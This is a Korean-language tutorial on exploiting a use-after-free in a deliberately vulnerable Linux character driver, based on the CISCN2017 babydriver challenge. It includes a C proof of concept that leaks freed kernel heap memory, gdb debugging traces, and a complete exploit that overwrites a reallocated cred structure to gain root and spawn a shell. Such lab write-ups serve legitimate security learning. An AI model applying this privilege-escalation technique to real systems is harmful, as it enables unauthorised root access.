cap_bset = {cap = {4294967295, 63}}, cap_ambient = {cap = {0, 0}}, jit_keyring = 0 '\000', session_keyring = 0xffff880015524c00, process_keyring = 0x0 <irq_stack_union>, thread_keyring = 0x0 <irq_stack_union>, request_key_auth = 0x0 <irq_stack_union>, security = 0xffff8800075db7e0, user = 0xffff8800263a5200, user_ns = 0xffffffff81c44ae0 <init_user_ns>, group_info = 0xffff88001564b5c0, rcu = {next = 0x0 <irq_stack_union>, func = 0x0 <irq_stack_union>}} (gdb) c Continuing.
Exploit code - 2
Proof of Concept
- 다음과 같은 방식으로도 UAF 취약성을 사용 할 수 있습니다.
- "Exploit-1"에서는 드라이버 파일을 1개만 열어 exploit에 이용하였습니다.
- 다음 예제에서는 드라이버 파일을 2개를 열어 UAF취약성을 검증 해보겠습니다.
- open() 함수를 이용하여 취약성이 존재하는 드라이버 파일을 두번 엽니다.
- 해당 파일 디스크립터은 fd1, fd2 변수에 저장합니다.
- ioctl() 함수와 fd1(파일 디스크립터)을 이용하여 cred 구조체의 크기 만큼의 Heap을 할당 받습니다.
- ioctl() 함수와 fd1(파일 디스크립터)을 이용하여 할당은 메모리를 해제합니다.
- close() 함수를 이용하여 fd1(파일 디스크립터)을 닫습니다.
- read() 함수와 fd2(파일 디스크립터)를 이용하여 fd1에 의해 할당 및 해제된 heap 영역의 값을 추출합니다.
- open() 함수를 이용하여 취약성이 존재하는 드라이버 파일을 두번 엽니다.
#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <sys/ioctl.h> #include "chardev.h" #define HEAP_SIZE 128 int main() { int fd1,fd2,i,j; char info[HEAP_SIZE] = "Hello, Kernel UAF"; if ((fd1 = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); } if ((fd2 = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); } if (ioctl(fd1, KMALLOC, 168) < 0){ printf("Error : KMALLOC.\n"); } ioctl(fd1, KFREE); if (close(fd1) != 0){ printf("Cannot close.\n"); } memset(info, 0, HEAP_SIZE); read(fd2,info,HEAP_SIZE - 1); for (i = 0; i < 8; i++) { for (j = 0; j < 16; j++) printf("%02x ", info[i*16+j] & 0xff); printf(" | "); for (j = 0; j < 16; j++) printf("%c", info[i*16+j] & 0xff); printf("\n"); } if (close(fd2) != 0){ printf("Cannot close.\n"); } }
Debug
- fd1에 저장된 파일 디스크립터를 이용하여 메모리 할당 및 해제 됩니다.
- kmalloc(), kfree() 함수에 의해 heap 메모리를 할당 받고 해제합니다.
- heap 메모리의 시작 주소는 0xffff880015525200
Breakpoint 1, 0xffffffffc01991c5 in ?? () (gdb) i r rdi rsi rdi 0xa8 168 rsi 0x24000c0 37748928 (gdb) c Continuing. Breakpoint 2, 0xffffffffc01991ca in ?? () (gdb) i r rax rax 0xffff880015525200 -131941037616640 (gdb) c Continuing. Breakpoint 3, 0xffffffffc019919d in ?? () (gdb) i r rdi rdi 0xffff880015525200 -131941037616640 (gdb) c Continuing. Breakpoint 4, 0xffffffffc01991a2 in ?? () (gdb) x/i $rip => 0xffffffffc01991a2: xor eax,eax (gdb) c Continuing.
- fd2에 저장된 파일디스크립터를 이용하여 해제된 메모리(kernel heap)에 저장된 값을 User 영역으로 복사합니다.
- 이러한 동작이 가능한 이유는 info.buf 변수가 전역 변수이기 때문에 fd1,fd2에서 사용하는 info.buf 변수의 주소가 같기 때문입니다.
Breakpoint 5, 0xffffffffc0199102 in ?? () (gdb) x/i $rip => 0xffffffffc0199102: call 0xffffffff813e09e0 <_copy_to_user> (gdb) i r rdi rsi rdi 0x7ffc948ab2e0 140722800603872 rsi 0xffff880015525200 -131941037616640 (gdb) x/16gx 0x7ffc948ab2e0 0x7ffc948ab2e0: 0x0000000000000000 0x0000000000000000 0x7ffc948ab2f0: 0x0000000000000000 0x0000000000000000 0x7ffc948ab300: 0x0000000000000000 0x0000000000000000 0x7ffc948ab310: 0x0000000000000000 0x0000000000000000 0x7ffc948ab320: 0x0000000000000000 0x0000000000000000 0x7ffc948ab330: 0x0000000000000000 0x0000000000000000 0x7ffc948ab340: 0x0000000000000000 0x0000000000000000 0x7ffc948ab350: 0x0000000000000000 0x0000000000000000 (gdb) x/16gx 0xffff880015525200 0xffff880015525200: 0xffff880015524fc0 0x0000000000000000 0xffff880015525210: 0x00000000f0000042 0x0000000000000000 0xffff880015525220: 0x0000000000000000 0x0000000100000000 0xffff880015525230: 0x0000000000000000 0x0000000800000001 0xffff880015525240: 0x0000000100000008 0xffffffff8139e9a0 0xffff880015525250: 0xffff88001309bd56 0x0000000000000000 0xffff880015525260: 0x0000000000000000 0x0000000000000000 0xffff880015525270: 0x0000000100010001 0xffff880015525288 (gdb) c Continuing. Breakpoint 6, 0xffffffffc0199107 in ?? () (gdb) x/16gx 0x7ffc948ab2e0 0x7ffc948ab2e0: 0xffff880015524fc0 0x0000000000000000 0x7ffc948ab2f0: 0x00000000f0000042 0x0000000000000000 0x7ffc948ab300: 0x0000000000000000 0x0000000100000000 0x7ffc948ab310: 0x0000000000000000 0x0000000800000001 0x7ffc948ab320: 0x0000000100000008 0xffffffff8139e9a0 0x7ffc948ab330: 0xffff88001309bd56 0x0000000000000000 0x7ffc948ab340: 0x0000000000000000 0x0000000000000000 0x7ffc948ab350: 0x0000000100010001 0x00ff880015525288 (gdb) c Continuing.
- 다음과 같이 유저 프로그램에서 해제된 커널 heap 영역에 저장된 값을 출력합니다.
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ ./PoC-2 c0 4f 52 15 00 88 ff ff 00 00 00 00 00 00 00 00 | ?OR??? 42 00 00 f0 00 00 00 00 00 00 00 00 00 00 00 00 | B? 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 | 00 00 00 00 00 00 00 00 01 00 00 00 08 00 00 00 | 08 00 00 00 01 00 00 00 a0 e9 39 81 ff ff ff ff |??9????? 56 bd 09 13 00 88 ff ff 00 00 00 00 00 00 00 00 | V? ??? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 01 00 01 00 01 00 00 00 88 52 52 15 00 88 ff 00 | ?RR?? lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$
Exploit code
- 다음과 같이 exploit 코드를 구현할 수 있습니다.
#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <sys/ioctl.h> #include "chardev.h" int main() { int fd1,fd2; if ((fd1 = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); } if ((fd2 = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); } if (ioctl(fd1, KMALLOC, 168) < 0){ printf("Error : SET_DATA.\n"); } ioctl(fd1, KFREE); if (close(fd1) != 0){ printf("Cannot close.\n"); } int pid = fork(); printf("PID %d\n",pid); if(pid < 0){ puts("[*] fork error!"); exit(0); }else if(pid == 0){ char zeros[30] = {0}; write(fd2, zeros, 28); if(getuid() == 0){ puts("[+] root now."); system("/bin/sh"); exit(0); }else{ printf("UID : %d\n",getuid()); } }else{ wait(1); } if (close(fd2) != 0){ printf("Cannot close.\n"); } return 0; }
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ ./exploit-2 PID 2940 PID 0 [+] root now. # id uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare),1000(lazenca0x0) #
References
- https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/kernel_uaf/
- https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/kernel/CISCN2017-babydriver
- http://p4nda.top/2018/10/11/ciscn-2017-babydriver/
1 Comment
Lazenca.0x0
프로그램 실행 후 출력된 값도 변경 필요